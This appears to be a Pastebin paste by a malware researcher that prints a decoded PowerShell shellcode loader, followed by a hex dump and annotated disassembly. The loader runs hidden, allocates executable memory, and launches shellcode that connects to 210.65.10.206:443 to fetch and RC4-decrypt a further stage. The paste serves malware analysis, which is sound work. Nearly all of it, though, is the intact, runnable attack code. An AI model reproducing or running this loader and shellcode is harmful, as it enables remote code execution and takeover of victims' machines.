API tools faq
paste
James_inthe_box

Decoded

James_inthe_box
Dec 8th, 2017
894
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.42 KB | None | 0 0
raw download clone embed print report
  1. powershell.exe -nop -w hidden -e if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''function lv1Frwg {
  2. Param ($nKpYJceK, $gT_5520xXQz4)
  3. $dluf25i8Bg = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
  4.  
  5. return $dluf25i8Bg.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($dluf25i8Bg.GetMethod('GetModuleHandle')).Invoke($null, @($nKpYJceK)))), $gT_5520xXQz4))
  6. }
  7.  
  8. function yzz2HgVB4LQH {
  9. Param (
  10. [Parameter(Position = 0, Mandatory = $True)] [Type[]] $xoHDGLQFXSa,
  11. [Parameter(Position = 1)] [Type] $xfO0tzsu = [Void]
  12. )
  13.  
  14. $c5NX8crsYoRy = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
  15. $c5NX8crsYoRy.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $xoHDGLQFXSa).SetImplementationFlags('Runtime, Managed')
  16. $c5NX8crsYoRy.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $xfO0tzsu, $xoHDGLQFXSa).SetImplementationFlags('Runtime, Managed')
  17.  
  18. return $c5NX8crsYoRy.CreateType()
  19. }
  20.  
  21. [Byte[]]$rJj5 = [System.Convert]::FromBase64String("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYH/9W4kAEAACnEVFBoKYBrAP/Vagpo0kEKzmgCAAG7ieZQUFBQQFBAUGjqD9/g/9WXahBWV2iZpXRh/9WFwHQK/04Idezo1gAAAGoAagRWV2gC2chf/9WD+AB+SYs2gfYATyE1jY4AAQAAakBoABAAAFFqAGhYpFPl/9WNmAABAABTVlBqAFZTV2gC2chf/9WD+AB9IlhoAEAAAGoAUGgLLw8w/9VXaHVuTWH/1V5e/wwk6V7///8BwynGdcdbWV1VV4nf6BAAAADLoY4EWlg2OAJrlBc24R2KXjHAqv7AdfuB7wABAAAx2wIcB4nCgOIPAhwWihQHhhQfiBQH/sB16DHb/sACHAeKFAeGFB+IFAcCFB+KFBcwVQBFSXXlX8O78LWiVmoAU//V")
  22.  
  23. $dLxI0f7nYs = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lv1Frwg kernel32.dll VirtualAlloc), (yzz2HgVB4LQH @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $rJj5.Length,0x3000, 0x40)
  24. [System.Runtime.InteropServices.Marshal]::Copy($rJj5, 0, $dLxI0f7nYs, $rJj5.length)
  25.  
  26. $jVmgalVj6M = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lv1Frwg kernel32.dll CreateThread), (yzz2HgVB4LQH @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$dLxI0f7nYs,[IntPtr]::Zero,0,[IntPtr]::Zero)
  27. [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lv1Frwg kernel32.dll WaitForSingleObject), (yzz2HgVB4LQH @([IntPtr], [Int32]))).Invoke($jVmgalVj6M,0xffffffff) | Out-Null''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);
  28.  
  29.  
  30.  
  31. Hex dump: fc e8 82 00 00 00 60 89 e5 31 c0 64 8b 50 30 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f2 52 57 8b 52 10 8b 4a 3c 8b 4c 11 78 e3 48 01 d1 51 8b 59 20 01 d3 8b 49 18 e3 3a 49 8b 34 8b 01 d6 31 ff ac c1 cf 0d 01 c7 38 e0 75 f6 03 7d f8 3b 7d 24 75 e4 58 8b 58 24 01 d3 66 8b 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 5f 5f 5a 8b 12 eb 8d 5d 68 33 32 00 00 68 77 73 32 5f 54 68 4c 77 26 07 ff d5 b8 90 01 00 00 29 c4 54 50 68 29 80 6b 00 ff d5 6a 0a 68 d2 41 0a ce 68 02 00 01 bb 89 e6 50 50 50 50 40 50 40 50 68 ea 0f df e0 ff d5 97 6a 10 56 57 68 99 a5 74 61 ff d5 85 c0 74 0a ff 4e 08 75 ec e8 d6 00 00 00 6a 00 6a 04 56 57 68 02 d9 c8 5f ff d5 83 f8 00 7e 49 8b 36 81 f6 00 4f 21 35 8d 8e 00 01 00 00 6a 40 68 00 10 00 00 51 6a 00 68 58 a4 53 e5 ff d5 8d 98 00 01 00 00 53 56 50 6a 00 56 53 57 68 02 d9 c8 5f ff d5 83 f8 00 7d 22 58 68 00 40 00 00 6a 00 50 68 0b 2f 0f 30 ff d5 57 68 75 6e 4d 61 ff d5 5e 5e ff 0c 24 e9 5e ff ff ff 01 c3 29 c6 75 c7 5b 59 5d 55 57 89 df e8 10 00 00 00 cb a1 8e 04 5a 58 36 38 02 6b 94 17 36 e1 1d 8a 5e 31 c0 aa fe c0 75 fb 81 ef 00 01 00 00 31 db 02 1c 07 89 c2 80 e2 0f 02 1c 16 8a 14 07 86 14 1f 88 14 07 fe c0 75 e8 31 db fe c0 02 1c 07 8a 14 07 86 14 1f 88 14 07 02 14 1f 8a 14 17 30 55 00 45 49 75 e5 5f c3 bb f0 b5 a2 56 6a 00 53 ff d5
  32. 0x00000000 fc cld
  33. 0x00000001 e882000000 call 0x00000088
  34. 0x00000006 60 pushad
  35. 0x00000007 89e5 mov ebp,esp
  36. 0x00000009 31c0 xor eax,eax
  37. 0x0000000b 648b5030 fs: mov edx,dword [eax + 48]
  38. 0x0000000f 8b520c mov edx,dword [edx + 12]
  39. 0x00000012 8b5214 mov edx,dword [edx + 20]
  40. 0x00000015 8b7228 mov esi,dword [edx + 40]
  41. 0x00000018 0fb74a26 movzx ecx,word [edx + 38]
  42. 0x0000001c 31ff xor edi,edi
  43. 0x0000001e ac lodsb
  44. 0x0000001f 3c61 cmp al,97
  45. 0x00000021 7c02 jl 0x00000025
  46. 0x00000023 2c20 sub al,32
  47. 0x00000025 c1cf0d ror edi,13
  48. 0x00000028 01c7 add edi,eax
  49. 0x0000002a e2f2 loop 0x0000001e
  50. 0x0000002c 52 push edx
  51. 0x0000002d 57 push edi
  52. 0x0000002e 8b5210 mov edx,dword [edx + 16]
  53. 0x00000031 8b4a3c mov ecx,dword [edx + 60]
  54. 0x00000034 8b4c1178 mov ecx,dword [ecx + edx + 120]
  55. 0x00000038 e348 jecxz 0x00000082
  56. 0x0000003a 01d1 add ecx,edx
  57. 0x0000003c 51 push ecx
  58. 0x0000003d 8b5920 mov ebx,dword [ecx + 32]
  59. 0x00000040 01d3 add ebx,edx
  60. 0x00000042 8b4918 mov ecx,dword [ecx + 24]
  61. 0x00000045 e33a jecxz 0x00000081
  62. 0x00000047 49 dec ecx
  63. 0x00000048 8b348b mov esi,dword [ebx + ecx * 4]
  64. 0x0000004b 01d6 add esi,edx
  65. 0x0000004d 31ff xor edi,edi
  66. 0x0000004f ac lodsb
  67. 0x00000050 c1cf0d ror edi,13
  68. 0x00000053 01c7 add edi,eax
  69. 0x00000055 38e0 cmp al,ah
  70. 0x00000057 75f6 jnz 0x0000004f
  71. 0x00000059 037df8 add edi,dword [ebp - 8]
  72. 0x0000005c 3b7d24 cmp edi,dword [ebp + 36]
  73. 0x0000005f 75e4 jnz 0x00000045
  74. 0x00000061 58 pop eax
  75. 0x00000062 8b5824 mov ebx,dword [eax + 36]
  76. 0x00000065 01d3 add ebx,edx
  77. 0x00000067 668b0c4b mov cx,word [ebx + ecx * 2]
  78. 0x0000006b 8b581c mov ebx,dword [eax + 28]
  79. 0x0000006e 01d3 add ebx,edx
  80. 0x00000070 8b048b mov eax,dword [ebx + ecx * 4]
  81. 0x00000073 01d0 add eax,edx
  82. 0x00000075 89442424 mov dword [esp + 36],eax
  83. 0x00000079 5b pop ebx
  84. 0x0000007a 5b pop ebx
  85. 0x0000007b 61 popad
  86. 0x0000007c 59 pop ecx
  87. 0x0000007d 5a pop edx
  88. 0x0000007e 51 push ecx
  89. 0x0000007f ffe0 jmp eax
  90. 0x00000081 5f pop edi
  91. 0x00000082 5f pop edi
  92. 0x00000083 5a pop edx
  93. 0x00000084 8b12 mov edx,dword [edx]
  94. 0x00000086 eb8d jmp 0x00000015
  95. 0x00000088 5d pop ebp
  96. 0x00000089 6833320000 push 0x00003233--> '23'
  97. 0x0000008e 687773325f push 0x5f327377--> '_2sw'
  98. 0x00000093 54 push esp
  99. 0x00000094 684c772607 push 0x0726774c--> '&wL'
  100. 0x00000099 ffd5 call ebp --> kernel32.dll!LoadLibraryA
  101. 0x0000009b b890010000 mov eax,400
  102. 0x000000a0 29c4 sub esp,eax
  103. 0x000000a2 54 push esp
  104. 0x000000a3 50 push eax
  105. 0x000000a4 6829806b00 push 0x006b8029--> 'k)'
  106. 0x000000a9 ffd5 call ebp --> ws2_32.dll!WSAStartup
  107. 0x000000ab 6a0a push 10
  108. 0x000000ad 68d2410ace push 0xce0a41d2
  109. 0x000000b2 68020001bb push 0xbb010002--> IP 210.65.10.206:443
  110. 0x000000b7 89e6 mov esi,esp
  111. 0x000000b9 50 push eax
  112. 0x000000ba 50 push eax
  113. 0x000000bb 50 push eax
  114. 0x000000bc 50 push eax
  115. 0x000000bd 40 inc eax
  116. 0x000000be 50 push eax
  117. 0x000000bf 40 inc eax
  118. 0x000000c0 50 push eax
  119. 0x000000c1 68ea0fdfe0 push 0xe0df0fea
  120. 0x000000c6 ffd5 call ebp --> ws2_32.dll!WSASocketA
  121. 0x000000c8 97 xchg eax,edi
  122. 0x000000c9 6a10 push 16
  123. 0x000000cb 56 push esi
  124. 0x000000cc 57 push edi
  125. 0x000000cd 6899a57461 push 0x6174a599--> 'at'
  126. 0x000000d2 ffd5 call ebp --> ws2_32.dll!connect
  127. 0x000000d4 85c0 test eax,eax
  128. 0x000000d6 740a jz 0x000000e2
  129. 0x000000d8 ff4e08 dec dword [esi + 8]
  130. 0x000000db 75ec jnz 0x000000c9
  131. 0x000000dd e8d6000000 call 0x000001b8
  132. 0x000000e2 6a00 push 0
  133. 0x000000e4 6a04 push 4
  134. 0x000000e6 56 push esi
  135. 0x000000e7 57 push edi
  136. 0x000000e8 6802d9c85f push 0x5fc8d902
  137. 0x000000ed ffd5 call ebp --> ws2_32.dll!recv
  138. 0x000000ef 83f800 cmp eax,0
  139. 0x000000f2 7e49 jle 0x0000013d
  140. 0x000000f4 8b36 mov esi,dword [esi]
  141. 0x000000f6 81f6004f2135 xor esi,0x35214f00
  142. 0x000000fc 8d8e00010000 lea ecx,dword [esi + 256]
  143. 0x00000102 6a40 push 64
  144. 0x00000104 6800100000 push 4096
  145. 0x00000109 51 push ecx
  146. 0x0000010a 6a00 push 0
  147. 0x0000010c 6858a453e5 push 0xe553a458--> 'SX'
  148. 0x00000111 ffd5 call ebp --> kernel32.dll!VirtualAlloc
  149. 0x00000113 8d9800010000 lea ebx,dword [eax + 256]
  150. 0x00000119 53 push ebx
  151. 0x0000011a 56 push esi
  152. 0x0000011b 50 push eax
  153. 0x0000011c 6a00 push 0
  154. 0x0000011e 56 push esi
  155. 0x0000011f 53 push ebx
  156. 0x00000120 57 push edi
  157. 0x00000121 6802d9c85f push 0x5fc8d902
  158. 0x00000126 ffd5 call ebp --> ws2_32.dll!recv
  159. 0x00000128 83f800 cmp eax,0
  160. 0x0000012b 7d22 jge 0x0000014f
  161. 0x0000012d 58 pop eax
  162. 0x0000012e 6800400000 push 0x00004000
  163. 0x00000133 6a00 push 0
  164. 0x00000135 50 push eax
  165. 0x00000136 680b2f0f30 push 0x300f2f0b--> '0/
  166. '
  167. 0x0000013b ffd5 call ebp --> kernel32.dll!VirtualFree
  168. 0x0000013d 57 push edi
  169. 0x0000013e 68756e4d61 push 0x614d6e75--> 'aMnu'
  170. 0x00000143 ffd5 call ebp --> ws2_32.dll!closesocket
  171. 0x00000145 5e pop esi
  172. 0x00000146 5e pop esi
  173. 0x00000147 ff0c24 dec dword [esp]
  174. 0x0000014a e95effffff jmp 0x000000ad
  175. 0x0000014f 01c3 add ebx,eax
  176. 0x00000151 29c6 sub esi,eax
  177. 0x00000153 75c7 jnz 0x0000011c
  178. 0x00000155 5b pop ebx
  179. 0x00000156 59 pop ecx
  180. 0x00000157 5d pop ebp
  181. 0x00000158 55 push ebp
  182. 0x00000159 57 push edi
  183. 0x0000015a 89df mov edi,ebx
  184. 0x0000015c e810000000 call 0x00000171
  185. 0x00000161 cb retf
  186. 0x00000162 a18e045a58 mov eax,dword [0x585a048e]
  187. 0x00000167 363802 ss: cmp byte [edx],al
  188. 0x0000016a 6b941736e11d8a5e imul edx,dword [edi + edx - 1977753290],94
  189. 0x00000172 31c0 xor eax,eax
  190. 0x00000174 aa stosb
  191. 0x00000175 fec0 inc al
  192. 0x00000177 75fb jnz 0x00000174
  193. 0x00000179 81ef00010000 sub edi,256
  194. 0x0000017f 31db xor ebx,ebx
  195. 0x00000181 021c07 add bl,byte [edi + eax]
  196. 0x00000184 89c2 mov edx,eax
  197. 0x00000186 80e20f and dl,15
  198. 0x00000189 021c16 add bl,byte [esi + edx]
  199. 0x0000018c 8a1407 mov dl,byte [edi + eax]
  200. 0x0000018f 86141f xchg byte [edi + ebx],dl
  201. 0x00000192 881407 mov byte [edi + eax],dl
  202. 0x00000195 fec0 inc al
  203. 0x00000197 75e8 jnz 0x00000181
  204. 0x00000199 31db xor ebx,ebx
  205. 0x0000019b fec0 inc al
  206. 0x0000019d 021c07 add bl,byte [edi + eax]
  207. 0x000001a0 8a1407 mov dl,byte [edi + eax]
  208. 0x000001a3 86141f xchg byte [edi + ebx],dl
  209. 0x000001a6 881407 mov byte [edi + eax],dl
  210. 0x000001a9 02141f add dl,byte [edi + ebx]
  211. 0x000001ac 8a1417 mov dl,byte [edi + edx]
  212. 0x000001af 305500 xor byte [ebp],dl
  213. 0x000001b2 45 inc ebp
  214. 0x000001b3 49 dec ecx
  215. 0x000001b4 75e5 jnz 0x0000019b
  216. 0x000001b6 5f pop edi
  217. 0x000001b7 c3 ret
  218. 0x000001b8 bbf0b5a256 mov ebx,0x56a2b5f0
  219. 0x000001bd 6a00 push 0
  220. 0x000001bf 53 push ebx
  221. 0x000001c0 ffd5 call ebp
  222.  
  223. Byte Dump:
  224. ......`..1.d.P0.R.R..r(..J&1..<a|.,......RW.R..J<.L.x.H..Q.Y...I..:I.4...1......8.u..}.;}$u.X.X$..f.K.X.........D$$[[aYZQ..__Z....]h32..hws2_ThLw&........).TPh).k...jh.A.h......PPPP@[email protected][email protected]..._.....}"[email protected]/.0..WhunMa..^^.$.^.....).u.[Y]UW...........ZX68.k..6...^1....u.......1.......................u.1.....................0U.EIu._.....Vj.S..
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!